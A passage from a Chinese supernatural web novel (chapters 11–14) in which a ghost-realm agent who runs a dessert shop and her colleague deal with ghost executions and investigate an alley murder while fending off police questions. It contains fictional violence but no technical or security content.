茹衿侧过头诧异的看她,见她一直盯着阳台看,茹衿便也朝着阳台慢慢走去,她走出阳台门,看着阳台上的那只鸟,随后目光开始向旁边移动,她突然愣了一下,因为她看见那只鸟身后的墙上被阳光投射出了影子,而那影子也跟随鸟的动作的变化而变化。
茹衿豁然开朗,这鸟还真不是独自,它还有它自己,那个永远都不会离它而去的自己。
此时,正在整理羽毛的鸟忽然张开了翅膀飞向空中,迎着阳光朝着太阳的方向飞去。
望着那只鸟飞走的方向,茹衿久久没有回过神来。
“怎么样?我就说它不是独自吧。”问玄亓站在她身后。
茹衿回过头,笑得很开兴,这是不掺任何负面情绪的笑。
片刻后,她想到什么,走到问玄亓面前,带着祈求的语气说道:“我可不可以,保留这段记忆?”
问玄亓一愣。
茹衿垂下眸,再抬起时眼中充满了期待:“这段记忆很美好,我想记住它,也想记住你。”
这句话让问玄亓陷入了沉默,她觉得陌生又熟悉,已经很久没有听到类似的话了,看着面前的人期待的眼神,她露出了欣慰的笑:“每次我以为你快要坚持不下去的时候,你就会突然给我惊喜,所以我觉得有一个这样充满惊喜的人能知道这个世界的秘密,倒也不错。”
见问玄亓同意,茹衿十分开心,笑得更加明媚:“我发誓!我绝对不会说出去!”
阳光往客厅深处洒去,也洒在了两人身上,将她们的
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影子拉得长长的。
诡界这边,负责看守处决台的木行打着哈切翻着册子,一个人影站在他面前,他伸手指了指自己右边的一个空册子,懒懒散散的开口:“在这登记。”
“刚才送来一只诡。”
这熟悉又有压迫感的声音一下就把木行吓清醒了,他赶紧站起身,在确认面前的人是他内心所想的那人之后,带着稍微陪笑的声音打着招呼:“尤,尤师。”
尤聿离冷着脸:“刚才送来的那只诡被关在哪个处决台了?”
木行赶紧低头去翻桌上的册子:“69!69号处决台!”
尤聿离:“把门打开。”
木行却将那个空白册子递给他:“尤师,要先登记。”
尤聿离虽然着急,但还是得按规矩来,他拿起笔在册子上写下了信息:
处决人:尤聿离;处决台:69;时间:xxxx年x月x日
木行接过册子开始录入信息。
尤聿离见他看着陌生,便顺嘴问了一句:“你是新来的‘金’?”
木行抬起头笑笑:“不是,我一百年前就在诡界工作了,还是您和白使面试的我,只不过最近才调来这里的。”
尤聿离不记得了,他甚至不记得自己还参与过面试这种工作。
“好了。”旁边的一个机器开始发光,几秒后从里面吐出一个亮晶晶的水晶片,木行拿起它插进后面的石槽里,随后尤聿离旁边的不远处就出现一个门。
尤聿离赶紧走了进去。
穿过门他就来到了69号处决台,这里冷飕飕的,只有两个石台,一大一小,大的那个是留给他们踩脚的,而小的那个就是用来关诡的。除了这两个石台以外就只有黑乎乎的水了,这些水也是关住这些诡的重要因素,只要沾上一滴,它们就会灰飞烟灭。
尤聿离站在石台上望着对面被铁链拴住的诡,这些铁链经过特殊加工后,就算它没有实体也无法挣脱。
诡意识到有人来,缓缓抬头,带着不屑的神情看着尤聿离。
离玄出现在尤聿离的手上,他二话不说将离玄甩了出去,直直穿透了诡的胸膛。
诡的脸因痛苦而扭曲,胸口的疼痛让它喘不过气来,眼底的不屑在这一刻变成了怨恨。
尤聿离猛地一拽,将离玄收了回来,这对于诡来说等同于二次伤害,它痛的垂下头,两只眼睛以一种可怕的尺寸瞪着,仿佛这样可以减轻它的痛苦,但其实一点用都没有。
“才这点程度就接受不了了?”尤聿离站在对面看着它,语气极其嘲讽。
诡气的牙痒痒:“创造我们的明明是人,为什么只抓我们!”
它那鬼一般的声音传来,尤聿离却在听到的那一刻眼神变得狠厉:“你还没有资格这么问!”
他死死盯着对面的诡,下一秒他甩出离玄,连续抽打在它的身上,离玄顶端的金属镖头锋利无比,每一下都似乎要把它的身体抽散,不过这跟抽散也没什么区别了。
诡看着自己千疮百孔、不断冒出粉尘的身体,惊慌感不断爬到心脏,它还没来得及感受,离玄就缠上了它的脖子。
它惊恐的看向对面的尤聿离,尤聿离双眼通红,他抓住离玄的手使劲往后一拽,它的脑袋就与身体分离被丢进了旁边的黑水里。
没了脑袋的身体也没有理由再存在下去,下一秒就全部化成了灰色的粉尘飘进黑水。
尤聿离收回离玄,望着空荡荡的石台,内心的气愤久久不能消退。
晚上,躺在床上的尤聿离怎么都睡不着,他想起那只诡说的话,在几百年前也有诡这么问过她,她是怎么说的呢?
“创造你们的是人,但选择作恶的是你们自己,这个世界是公平的,你们会被我们处决,同样选择作恶的人也会得到应有的报应。”
尤聿离闭上双眼,这句话他永远都记得。
12. 第12章
问玄亓拿出冰箱里的水果,用榨汁机榨了两杯果汁,然后端着它们来到阳台上。
她将其中一杯递给旁边的尤聿离,随后自己喝了一口果汁:“这么晚了不睡觉来找我干嘛?”
尤聿离看着灯火通明的城市:“睡不着,找你聊聊天。”
问玄亓笑了:“找我聊天?不怕我把天聊死啊?”
他笑着摇摇头。
问玄亓侧过脸看他:“今天谢谢你啊。”
尤聿离对上她的目光,撇嘴一笑:“不客气。”
“我没有把茹衿的记忆消除。”问玄亓在说完这句话后悄悄地观察着他脸上的表情。
尤聿离却只是点点头将脑袋转了回去。
问玄亓疑惑地问他:“你不问为什么吗?”
尤聿离喝了一口杯里的果汁:“你既然会这么做,就有你自己的道理。”
问玄亓将胳膊撑在扶手上:“我还以为你会给我讲一大堆,说什么这么做不好,违背了规定。”
尤聿离无声的笑笑:“两百年了,我说的道理你哪次听了?还有那规定,对你来说不就相当于没有吗?”
问玄亓低着头,笑得很开心:“那是因为我把你当朋友。”她转头去看漆黑的天空,让风随意吹在自己的脸上:“就是因为我把你当朋友,所以我才不会听你那些无聊的道理。”
尤聿离看过去,问玄亓的嘴角在脸上扬起一个很好看的弧度,风吹在她的脸上,顺带吹起了她的头发。尤聿离没有回答,他看的失了神,那柔情的涟漪又渐渐出现在了他那双眼睛里。
问玄亓见他没动静,转头看去,却发现他在发呆,她伸手在他眼前扫了扫:“怎么?我说的不够真诚啊?”
尤聿离回过神摇摇头:“这句话你在一百年前也跟我说过。”
“是吗?”问玄亓挺佩服他:“那你记性还真是挺好的。”
她一口气将杯里的果汁全部喝掉:“行了,把果汁喝完就回去睡觉吧,这大晚上的在外面冷死了。”说着她转身朝卧室走去,边走边说:“明天去店里吃蛋糕吧!我请你!”
看着她离开的背影,尤聿离笑得很宠溺,他回头看着外面的夜景,然后学着问玄亓的样子一口气喝掉了果汁。
第二天,问玄亓起了个大早,因为在昨天睡前她就想好了今天早上要给自己做一道肉末豆腐汤。
她快速洗漱完,十分有干劲的样子走进厨房,乐呵呵的打开冰箱,看见了空荡荡的冷藏室。
仅仅一分钟她就接受了昨天没买菜的事实,她收回笑容将冰箱门关上,转身回卧室换衣服。
算了,还是去甜品店吃吧。
问玄亓开车很快来到店里,她刚进去就在自己的爱座上看见了一个熟悉的身影,她走到前台对夏栀晓说:“我要两份火腿煎蛋三明治和两杯牛奶。”说完她来到座位上坐下:
“怎么今天来这么早?”
茹衿转过头见是她便笑着回答:“不是你说的要换个时间来欣赏这孤石吗?”
问玄亓感到很欣慰,随后她的目光落在茹衿面前的茶上:“早上就只喝一杯茶啊?”
茹衿摇了摇头:“我还不饿。”
“那怎么行?”问玄亓摆摆手,对她的说法表示不满:“早餐要吃的,不然会得胃病,我点了两份三明治,一会儿和我一起吃,不许拒绝。”
茹衿嘴角上扬:“谢谢。”
“那么客气干嘛。”
三明治很快就端过来了,“小老板,你要的三明治。”
问玄亓抬头,发现是王师傅,她有些惊讶:“王师傅?怎么是您?”
“怎么?我就只能在后厨做蛋糕啊?”王师傅一边开着玩笑一边将三明治放在桌子上
问玄亓赶紧否认:“我当然不是这个意思了。”
“哈哈,行了,不逗你了,我过来啊就是想问问你,你是不是忘记了什么?”王师傅故作一副质疑的模样。
被他这么一问,问玄亓还真没记起来,她不记得自己欠过王师傅东西,工资也是按时发了的,她悄悄看向对面的茹衿,茹衿比她还懵。
算了,自己想吧,她又把目光移到王师傅身上,刚好和他对视上,她尬笑一声。
王师傅见她实在想不起来,就开口提示:“你到底尝它了没?”
尝?
问玄亓:“!”,她终于想起来了:“换!就换这个果酱,超级好吃!”
王师傅这才善罢甘休:“好吃啊?行,那以后店里就用这款果酱了。”
问玄亓比了个OK的手势,目送王师傅离开。
她呼出一口气:“记性真是越来越差了。”顺手将一份三明治和牛奶放在茹衿面前,茹衿赶紧伸手去接。
“尝尝看我们店里的三明治味道怎么样。”问玄亓眼神示意她。
茹衿咬了一口,她的嘴角不自觉地上扬,完全掩饰不住内心的开心:“好吃!用的什么酱啊这么好吃!”
问玄亓拿起自己的那一份:“好吃就对了,这可是王师傅独家秘制酱料,连我都不知道怎么做的,我这家店最大的底牌啊就是他。”
一口三明治下肚,幸福满满。
两个人一边吃着美食,一边赏海景。
茹衿吃着吃着悄咪咪地看问玄亓一眼,似乎有什么话想说,在纠结了十几分钟后她还是忍不住开口:“那个。”
问玄亓转过头看她。
“就是我还是有个不明白的地方。”她将身体往前倾,用只有两个人能听见的声音说:“就是你上次给我说,这个世界上的犯罪分子和坏人是诡,可我今天下楼碰见一个老头欺负人家一小孩,你说,他也是诡吗?”
问玄亓听着她的描述噗嗤一声笑了:“你少记了三个字,‘大多数’。”
茹衿:“大多数?”
问玄亓点点头,她将手里的三明治放下,开始给茹衿解释:“就比如说有一百个犯罪分子和坏人,其中六十五个都是诡,剩下的三十五个人呢就是纯人类,只不过他们要么是没道德,要么就是因为其他因素才干了坏事。”
茹衿一副似懂非懂的样子。
问玄亓接着说:“你看啊,要是一个人因为自己的亲人被杀害,而他为了报仇去杀了人,那你能说他就是诡吗?”
茹衿摇摇头。
“我之前给你说过,诡是因为人的欲望和怨气产生的,它们是恶的代表,所以它们就是纯坏,你懂吗?像你刚才说的老头,他欺负小孩那就是他纯没道德,不是诡。”问玄亓拿起三明治狠狠咬了一口。
“嗷!”茹衿点点头:“我应该懂了,但是真的好难分辨啊。”
问玄亓:“对于我们诡界的人来说,其实就很简单了,看那人脸上到底有没有蓝光就行了。”
“是哦,不过,那次在车上你还没有回答我呢,你到底.....”茹衿话还没说完,就看见一把椅子被放在了旁边。
她们抬头看去,是尤聿离,他不知道什么时候来的,见这里没有多余的座位,他就去旁边桌子端了一把。
他坐下看着问玄亓:“我的蛋糕呢?”
问玄亓将嘴里的三明治咽下去:“你来这么早啊?我早餐还没吃完呢。”
“没事,我等你。”他的目光落在问玄亓旁边的牛奶上,二话没说端起来喝了一口。
问玄亓满脸问号:“这是我的。”
“你喝了吗?”
“还没有。”
“那就是我的了。”
?
问玄亓觉得他真是疯了。
尤聿离倒是一脸的无所谓,他将牛奶放下,然后一言不发的去看茹衿。
茹衿被他盯的发毛,赶紧端起自己的牛奶一饮而尽,拿起没吃完的三明治站起身:“我先走了,你们慢慢吃。”
说完头也不回的跑了出去。
问玄亓看着离开的茹衿,微微蹙眉:“你看你,把人
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家小姑娘吓的。”
“我吓的吗?”尤聿离死不承认:“明明是她自己走的,我又没赶她。”
“好好好。”问玄亓赶紧打断他的话:“给你点个蛋糕,你想吃什么?”
尤聿离看向她手里的三明治:“我想吃你手里的那种。”
问玄亓无奈的点点头:“给你点给你点。”活爹,谁能吃的过你啊。
尤聿离又转头去看窗外的大海:“吃完我想去海边走走。”
问玄亓:“你去呗。”
尤聿离不说话了,问玄亓一抬眼就见他一直盯着自己,眉头一皱妥协了:“好好好,吃完了我带你去。”活爹,谁能玩的过你啊。
两个人吃东西都挺快的,没一会儿的功夫,他们的身影就出现在了沙滩上。
问玄亓看着不远处海里的孤石,心情大好,她闭上眼睛感受着迎面吹来的海风。
尤聿离见她这样,也学着她的样子闭上了眼。
不知道过了多久,耳边响起问玄亓的声音:“什么感觉?”
他睁开眼睛,转头去看问玄亓:“很特别的感觉。”
“有多特别?”问玄亓被他的形容勾起好奇心。
尤聿离缓缓向她走近,忧郁的眼眸变得深情,他垂下眸去看她的眼睛:“像风钻进了我的骨头,又酥又麻。”
问玄亓安静地听着他说完,片刻后她忽然扬起嘴角:“那你这是穿少了,海边冷,下次来记得多穿点。”
尤聿离愣在原地,随后他闭上双眼。
“什么意思?你翻我白眼?”
问玄亓这句话吓得他赶紧把眼睛睁开,语无伦次地解释:“没有,我,我这是被沙子迷了眼。”
“是吗?”说着她上前扒拉着尤聿离:“我给你说,这沙子留眼睛里可不好,得赶紧用水冲出来......”
她喋喋不休的说着,尤聿离懵逼的被带着往前走。
(尤聿离最后还是被水冲了眼睛,大家可以自行想象)
晚上,他们一起去吃了夜宵,由于问玄亓喝了杯带点酒精的饮料,再加上尤聿离没有驾照,所以为了安全着想,问玄亓决定将车停在甜品店门口,两个人走回去。
“现在诡界的工作这么轻松了吗?你闲的偏要和我一起走回我家?”问玄亓表示不理解。
尤聿离倒是很开心,他双手插着兜和问玄亓并排走着:“反正时间还早。”
问玄亓看了眼手机屏幕,上面显示晚上二十三点。
算了,他说是什么就是什么吧。
他们走的这条街算是老街了,白天很热闹,但晚上就几乎没人。
大晚上在空无一人的街道上散步,别说,还真有一番滋味,问玄亓觉得在这个时候一定有很多诡聚集在某个阴暗的角落。
她开始观察起街道两边没有光的拐角。
尤聿离注意到她那细小的动作,渐渐放慢了脚步和她保持同频:
“在想什么?”
问玄亓左看看右看看:“在想这种角落里会不会聚集着大量的诡。”
尤聿离好奇地问她:“那要是真的有大量的诡呢?”
问玄亓冷笑一声,眼神变得凌厉:“要真是这样那可太好了,我就直接一锅端,省得我再挨个挨个找它们算账。”
尤聿离笑着摇摇头。
两人就这么在一说一笑中向前走去。
一只猫突然从他们身后的巷子里窜了出来,像是被什么东西吓到了。
忽然,一个披头散发的女人从里面摔了出来,她的脸上有着大大小小的伤口和瘀青,她趴在地上,只露出来半个身子,她伸长脖子望着两人逐渐走远的背影,她的眼中露出欣喜的神色,张了张嘴想说什么,下一秒身后却出现一只手捂住了她的嘴巴,将她快速拖进了没有一点光亮的巷子里。
此时巷子上方的那盏坏了许久的灯忽然亮了起来,但在闪烁过后还是熄灭了,再无亮起的可能。
13. 第13章·紫色郁金香
问玄亓是被吵醒的,她迷迷糊糊间老是听到警报声,直到外面的声音越来越大,她终于满脸怨气地起了床。
她愤怒地来到阳台上,想看看是怎么回事,但她忘了自己住的比较高,根本看不出个什么。
问玄亓无奈,快速洗漱完后套了件大衣就出了门。顺道买早餐了,她这样想着很快来到了小区外面。
街道上站了很多人,叽叽喳喳地都看着同一个方向,问玄亓也跟着看过去,但除了各形各色的人以外什么都没看到。
她绕过人群,往更前面走去,越往前人越多,等来到了有乌泱泱一大片人的地方的时候,问玄亓才发现这里是她昨天晚上和尤聿离一起走过的老街。
她挤过人群来到旁边一家包子铺:“老板,我要两个肉末茄子包。”
“好嘞。”老板从面前的框子里挑出两个包子放进一旁蒸锅里:“给你重新热一下哈,有点凉了。”
问玄亓点点头:“好。”
这时一个中年妇女从外面走进来站到老板身边,看样子是老板娘。
老板凑过去问她:“怎么样啊?打听到啥了?”
“死人了,就死在那边那个巷子里。”老板娘伸手指了指右边。
“咋回事啊?”
“谁知道啊,看样子应该是昨天晚上出事的。”
“看清是谁了不?”
“这我咋能看到?人家警察拿白布盖着的。”
“哎,真是可怜诶。”
......
听着他们的对话,问玄亓陷入了沉思,昨天晚上出的事?几点?会是诡干的吗?
“姑娘,你的包子好了。”
问玄亓接过包子刚转过身就看见一辆警车朝着右边开去,她赶紧跟上。
这里人实在是太多了,尽管有警察一直不停的在维持秩序,但依旧抵挡不住人们的好奇心,一个劲的都想挤到前面看看是怎么回事。还好问玄亓有身高优势,伸长脖子还能看到一些:
警戒线里躺着一具用白布盖着的尸体,看不出是男是女,一个女警将白布掀开一角察看尸体,女警很谨慎,她手上的动作迅速又干净,既让自己看到了尸体的情况也没有将尸体暴露在群众面前。
所以问玄亓还是什么都没有看到,她微微蹙眉,实在无法确定这到底是不是诡干的。
很快,就有更多的警察开始驱散人群,问玄亓也只好心有不甘的离开了。她一路上都在想这件事,要是能仔细看一看尸体就好了,如果是诡干的,至少尸体上会残留一丝那种感觉。
但其实她压根不需要忧心忡忡,因为很快警察就会找上她。
回到家的问玄亓在家待了一会儿,正准备洗手做饭时,门铃就响了。
她疑惑的打开门,门外站着三个警察,其中为首的那个问玄亓记的,是现场察看尸体的那个女警。
为首的女警率先开口:“你好,我们是粼水市公安局,这是我们的警官证,麻烦你看一下。”说着,她掏出证件放在问玄亓面前。
问玄亓看见警官证上写着陈文雯三个字,她将目光移到陈文雯身上,眼中带着一丝不解。
陈文雯接着问道:“请问你是问玄亓吗?”
问玄亓看着她:“是我。”
“今天过来,是找你了解点情况,方便我们进去吗?”陈文雯看了眼屋内。
问玄亓虽然不明白为什么警察会找上自己,但毕竟这里是人间,还是要配合才行。她朝三人点点头。
陈文雯示意她坐在沙发上,随后自己也坐了下去:“问小姐,请问昨天晚上二十三点左右的时候你在哪里?”
问玄亓微微蹙眉,这是什么情况?把她当凶手了吗?
“昨天晚上这个时间我在小区后面的那条老街上。”
陈文雯的眼神没有疑虑,问玄亓知道她能来这里就说明事先调查过了。
“昨天晚上二十三点三十分左右在那条街上的一个巷子里发生了一起凶杀案。”陈文雯观察着问玄亓脸上的表情。
问玄亓点点头:“这个我今天早上去买早餐的时候才知道的。”
“买早餐?”陈文雯带着疑惑的语气接着问道:“这里离老街还有一段距离,我看小区楼下就有早餐店啊?”
“哦,我是因为好奇,一直有警报声,就好奇发生了什么事,反正也是闲着,就顺带买早餐了。”问玄亓实话实说。
陈文雯没有看出任何破绽:“我们今天来呢是因为调监控时发现你经过了那条巷子,与受害者遇害的时间相近。”
问玄亓蹙眉:“什么意思?”
陈文雯接下来的一句话让她十分震惊:“在你离开那条小巷不久,受害者就被杀害了。”
问玄亓一愣,思考着她的话,什么叫离开不久?难道当时那条巷子里,凶手和受害者一直在那里?
“问小姐,你没事吧?”陈文雯出声叫她。
问玄亓回过神,她看着陈文雯问道:“所以,凶手一直待在那个巷子里?”
陈文雯点头:“对,这次过来就是想问问你当时有没有看到或者听到什么?”
问玄亓陷入沉思,她回忆着当时的细节,除了偶尔有风在耳边吹过,就再也没听到什么声音了:“没有,当时周围都很安静,没有听到什么声音。”
“一点都没听到吗?”陈文雯再次确认。
问玄亓点点头。
“那跟你一起的那位先生呢?”
“什么?”
“就是昨天晚上跟你一起经过那条巷子的先生。”陈文雯重复了一遍:“我们查不到那位先生的任何信息,你知道他住哪儿吗?”
问玄亓深吸一口气,没想到这一天来的这么快,早知道尤聿离这么爱在人间晃荡,就应该去给他整个身份证。
她只能眼珠一转摇摇头:“我跟他不认识。”
“不认识?”陈文雯的目光闪过一丝疑惑:“可从监控来看你们很熟悉啊。”
问玄亓整个人却很淡定,她得要装作是在说实话的样子:“昨天晚上是我们第一次见面,在饭店认识的,他问我要微信我没给,就死活要送我回家。”
陈文雯显然是不信的:“你还真让他送你回家?”
问玄亓笑了:“我学过防身术,所以不怕。”
陈文雯意味深长的看着她,但监控又确实能够证明他们两个跟案子没有什么关系,即使对他们保持怀疑,现在也没法做什么。
“问小姐,对于昨天晚上的事,你要是想到什么麻烦告诉我。”陈文雯在纸上写下了一串号码递给了问玄亓。
问玄亓接过纸张。
“对了,你要是有昨天晚上的那位先生的消息的话,也请给我说一声。”陈文雯站在门口看着问玄亓。
问玄亓望着她,随后嘴角扬起一个弧度:“好。”
看着陈文雯将门关上,问玄亓的脸上的笑容立马消失,眼神也变得凌厉起来,她重新坐回沙发一边翻看手机一边思考:
按刚才陈警官的说法,昨天晚上受害者遇害的时候她和尤聿离就在现场,所以不可能是诡干的,如果是诡干的她怎么会感受不到,就算那只诡有点手段,可尤聿离呢?他也没有察觉到,这说不通。
难道真的只是一场普通的凶杀案?
问玄亓这样想着,眼神快速在手机屏幕上扫动,网络时代最大的特征就是信息
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透明,所以尽管发现的时间不长,但现在软件上已经有很多关于这件事的帖子了。
她随便点进去一个往下翻着评论,忽然她眼前一亮,手指停在一条评论上:
“女的,脖子上好大一个洞”
问玄亓捕捉到关键词:
大洞?什么样的凶器可以在人的脖子上留下一个大洞呢?
这让她产生了怀疑,诡杀人的方式千奇百怪,而它们所使用的工具更是不寻常,如果是诡的话,这个大洞伤口就说的过去了。问玄亓接着往下翻看评论:
“好可怜的,身上都是伤,头上也有血,那脖子上的洞也流了好多血”
问玄亓微微蹙眉,这凶残程度确实有可能是诡干的,结合评论描述的伤口,怀疑的种子在心中种下,但她也不敢轻易下结论,毕竟网上的言论并不是百分之百准确的,所以为了保证不出错,她决定去查查这件事。
问玄亓放下手机进入卧室,十分钟后她从卧室走了出来,已经换好了衣服,她走到沙发旁拿起手机就往门外走去。
重新来到现场,这里的人群已经散的差不多了,但人流还是多,本来这条老街就主打卖吃的,再加上白天人就更多,又正巧遇上这种事,人流比往常多了一倍左右。
问玄亓走过那条小巷,几个警察还守在那里,她看见里面的地面上有很多血,一大片血迹,甚至墙上也有飞溅的血迹,就算没有亲眼看到尸体也能想象凶手是何等的残暴。
她来到对面的小吃店,随便点了点东西,趁着老板拌调料,她顺势搭上了话:“老板,这对面怎么回事啊。”
老板露出惊讶的表情,他看了看问玄亓又抬眸看向她身后的现场,手上拌料的动作却没停:“诶?你不知道啊?杀人了,可凶残了。”
“啊?”问玄亓装作一脸茫然的模样:“我今天一直在家,早上听见有警报声还以为怎么了,没想到是这里发生了命案。”
“唉!”老板叹了口气:“也是可怜,被打成那样。”
问玄亓趁机问道:“啊?老板你知道受害者是谁不?”
老板拿筷子搅拌着盆里的小吃:“这我哪知道,就在这店里远远的看了一眼,只知道是个女的,脖子上有好大一个洞。”
问玄亓:“好大一个洞?多大啊?”
老板伸出自己的左手将它握成拳头,看了看:“大概有我这个拳头一半?我也没敢仔细看。”
随后小吃拌好,老板熟练的将它们装进袋子递给问玄亓,笑着问她:“你一个小姑娘问这么多干什么?”
问玄亓接过袋子:“好奇。”
她将钱扫过去后瞟了眼老板:“老板,这凶杀现场在你家店对面,那你有没有看到什么奇怪的人?”
老板眼珠一转,摇摇头:“记不住,这每天人来人往的我哪能记住,都是过一下眼。”他突然眯起眼睛:“小姑娘,你不会是警察吧?”
问玄亓笑着否认:“我不是警察,就是纯好奇,纯好奇。”随后她拿着小吃离开了这里。
看来网上说的没错,受害者的伤口确实很奇怪,问玄亓心事重重的走在路上,心想要是能去看一眼尸体就好了,如果真是诡干的,那尸体上就会残留诡味。
她这么想着,不知不觉搭上了前往公安局的公交车,等到快到站了她才注意到。
看着面前的公安局大门,问玄亓一脸茫然,总不能真的进去给警察说自己要看一眼尸体吧?这也太不像话了。
算了,来都来了,就在这附近走走看吧,说不定能查到什么。
她刚转身离开,一辆警车就停在了她的面前,陈文雯从车上下来,见她站在警局门口,便朝她走了过去。
14. 第14章·紫色郁金香
“问小姐?你怎么过来了?是想到什么线索了吗?”陈文雯直截了当地问。
问玄亓笑着摇摇头:“没有,我正巧来这边有点事,路过公安局。”
“是吗?”陈文雯的眼神在她身上快速上下扫动。
问玄亓得赶紧离开这里,免得给自己惹上麻烦:“陈警官,要是没事的话我就先走了。”
陈文雯:“好,记起来什么记得给我打电话。”
问玄亓点点头。
陈文雯在门口目送着她离开,一种奇怪的感觉在心中悄然滋生,她觉得问玄亓并没有身份信息上显示得那么简单。
问玄亓在外面转了一天,没什么收获,她打算先回家,因为她要向他问清楚。
门铃响了,她走过去开门,尤聿离站在门外。一开门他就意识到不对劲。
“怎么了?”他问道。
问玄亓坐在沙发上:“我们昨天晚上走过的那条老街有一个女生被杀害了。”
尤聿离:“是诡?”
问玄亓微微侧过脑袋看他:“我正想问你呢,昨天晚上你走在那条街上有没有感受到诡。”
“没有,昨天晚上我没有感受到有任何诡在附近。”尤聿离的语气很肯定。
问玄亓垂下眸:“我也是。”
尤聿离:“那就是人干的。”
“我起初也是这么想的,但是受害者的伤口很奇怪,半个拳头大小的洞。”问玄亓皱起眉:“什么样的凶器可以在身上留下半个拳头大小的洞?”
尤聿离想了想,说出一句不正经的话:“我的离玄就可以啊。”
“啧。”问玄亓无语:“你那离玄是正常工具吗,能在人间使用吗?”
尤聿离笑着摇摇头:“是不能。”
问玄亓有点不想理他了。
尤聿离知道她在想什么,便出声安慰道:“你也别想太多,说不定只是人干的,我不相信诡已经进化到可以抹去自己的味道。”
“不管是不是诡干的我都会去查清楚,宁可错杀一千,也不能放过一个。”问玄亓说的极其认真。
尤聿离早就知道她一定会这么做,他轻轻一笑:“好,你去查你的,需要帮忙的地方记得告诉我。”
问玄亓却微微眯眼:“我怎么告诉你,不是每次都是你来找我吗?”
尤聿离仔细一想还真是。
“从还是大哥大的时候我就让你整一个,你偏不,现在好了,有个事联系你都不方便。”问玄亓调侃着他。
尤聿离笑得很开心:“行,那我考虑考虑。”说完起身准备离开。
“对了。”问玄亓将他叫住:“警察来找过我了,说查不到你的信息,被我找了个理由敷衍过去了,你最近在人间晃荡的时候小心一点。”
尤聿离抬起眉毛,显然没有把这件事当回事,但他还是给了问玄亓回应:“放心吧,我会小心的。”
问玄亓看着门被关上,心里叹了口气,不知道尤聿离到底有没有把她这句话听进去。
她转头去看外面,天快黑了,今天这个夜晚又会发生什么事呢?
看着看着,问玄亓的嘴角渐渐上扬,一个想法油然而生。
晚上二十三点三十分,她站在空无一人的老街上,耳边不断有冷风吹过,不过没事,她今天专门在衣服里穿了个小马甲,所以不冷。
她看向远处的现场,还有警察守在那里,看来这个案子没有那么简单了。
问玄亓转身走了另一条路,这条街道上的巷子很多,几乎都是相连接的。又因为是老街,这里没有装监控,而且住在这里的居民大多数都是老人,所以他们睡得都早,窗户只有零星几个是亮的。
问玄亓穿梭在巷子里,很快来到现场后面,这里也有警察守着,没办法,就只能远远的看一眼。
过了几分钟,其中一个警察离开了,看样子是有什么事,问玄亓本来没放在心上,可没多长时间她就感觉到不对劲,一股奇怪的味道飘进她的鼻子里,她看向前面黑乎乎的巷子,她记得刚才那个警察往这个方向走了。
问玄亓经过了现场,看守的警察见她朝别的方向走去,以为她是路人,就没管那么多。
另一条巷子里,那个警察正准备去商店,全然没有发现自己身后多了一个身影,黑暗中,那个身影抬起手将他打晕。
警察躺在地上,而他旁边站着一个瘦瘦高高的男人,男人活动了一下脖子,随后满脸兴奋的蹲下,它仔细地看着地上晕倒的警察,像看猎物一般。
它很激动,感觉自己身上流淌的血液在这一刻似乎全都沸腾了起来,很久没杀人的它十分享受这一刻,它缓缓抬起右手,一把锋利的匕首便出现在他手中,它的眼眸中闪着兴奋的光芒,下一秒就手起刀落扎向地上的警察。
刀尖在快要接触皮肤的那一刻,一把短棍飞了过来打掉了男人手中的匕首。
男人惊讶的转头看去,只见问玄亓从黑暗中走出来,像看死人一样的看它。
问玄亓没有说话,但男人不用猜就知道她是来干嘛的,它的手中再次出现一把匕首然后快速朝她冲了过去。
问玄亓一个侧身闪过,随后一个转身后踹腿将男人踹翻在地,看着倒地的男人,她冷漠的抬起左脚踩在了它那只可以无限变出匕首的手。
“疼疼疼!”
听着男人的哀嚎,问玄亓不为所动,她甚至又使了劲,在它手上摩擦了一下。
“疼疼疼!”
问玄亓蹲下看着它:“昨天晚上死的那个人也是你杀的吗?”
地上的男人咬牙切齿:“什么乱七八糟的,老子第一次来这。”
它的回答让问玄亓不太满意:“你想好了再回答。”
男人沉默了,它咽咽口水,似乎在憋什么大招,下一秒眼神微眯,右手悄悄变出一把匕首,朝着问玄亓的脑袋扎去。
可它终究是低估了面前之人的反应,在它抬手的一瞬间,问玄亓就抓住了它的手腕,然后面无表情的掰断了它。
“啊!”
啊字刚出口,问玄亓就捂住了它的嘴,这么大声要是把周围睡着的人吵醒可就不好了。
“你别出声,我就放了你。”
疼的嘴歪眼斜的男人赶紧点点头。
问玄亓有点想笑,她没想到面前这个诡竟然这么弱,可说它弱吧,它又能跑出来杀人。
她眼神锐利的盯着它的脸,再次重复了刚才的那句话:“昨天晚上死的那个人也是你杀的吗?”
男人痛苦的呜咽:“不是我,真不是我,我真的是第一次来这。”
问玄亓垂眸去看地上的匕首,这匕首的确是没法在人身上留下半个拳头大小的洞。
“那你知道你们这帮东西里面有谁昨天杀过人吗?”问玄亓换了个问法。
男人带着哭腔摇摇头:“不知道,我是独居诡。”
问玄亓知道它没有撒谎,便也懒得再跟他废话了,她站起身像拎小鸡仔一样拽着男人的衣领把他往昏倒的警察面前拖。
男人要吓死了,一直哭哭啼啼的:“我真不知道,真不知道啊!”
问玄亓不管他
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,将它扔在地上,然后弯腰捡起地上的问玄棍将它送进了诡界。
接着她蹲下身去查看躺在地上的警察的情况,检查了一下他身上没什么伤,就是被打晕了,估计过一会儿就醒了,反正她在这附近也不担心再有别的诡来杀他。
问玄亓收回了问玄棍,然后朝拐角处走去,可刚到拐角处,一个小男孩就从她面前跑过。
小孩?这么晚了怎么会有小孩在这乱跑?
问玄亓感到奇怪,但为了保险起见她还是跟了上去,跟着跟着她就发现这个小孩是朝着现场的方向跑的。
果然,她跟着男孩很快就来到了现场,小男孩停在警戒线前,她刚想上前,就看见陈文雯从里面走了出来。
她弯腰似乎跟小男孩说了什么,随即他们就朝问玄亓所在的方向看来。
两人四目相对,问玄亓从陈文雯的眼中看见了好奇的神色。
“安安!安安!”
一道中年男声从身后传来,问玄亓转头看去,一个满脸焦急的男人从身后的巷子里跑出来,他看了眼问玄亓,然后又看向她身后,脸上的焦急消失不见。
“安安,你怎么来这了。”男人朝小男孩走去。
小男孩见到他带着一丝哭腔:“爸爸,我想妈妈了。”
“陈警官。”男人向陈文雯打着招呼。
陈文雯笑着点点头。
两人说了几句话后,陈文雯就叫来另一个警察将他们送了回去。
问玄亓一直站在原地没有走,因为她知道她一定会来问她。
“问小姐,这么晚了你怎么会出现在这?”陈文雯来到她面前问道。
问玄亓浅浅一笑:“睡不着,出来走走。”
“走到案发现场来了?”
“就是因为白天的事,所以才睡不着,想着来现场看看。”
“为什么?”
“因为没想到受害者离自己这么近,有点愧疚。”
“愧疚?”
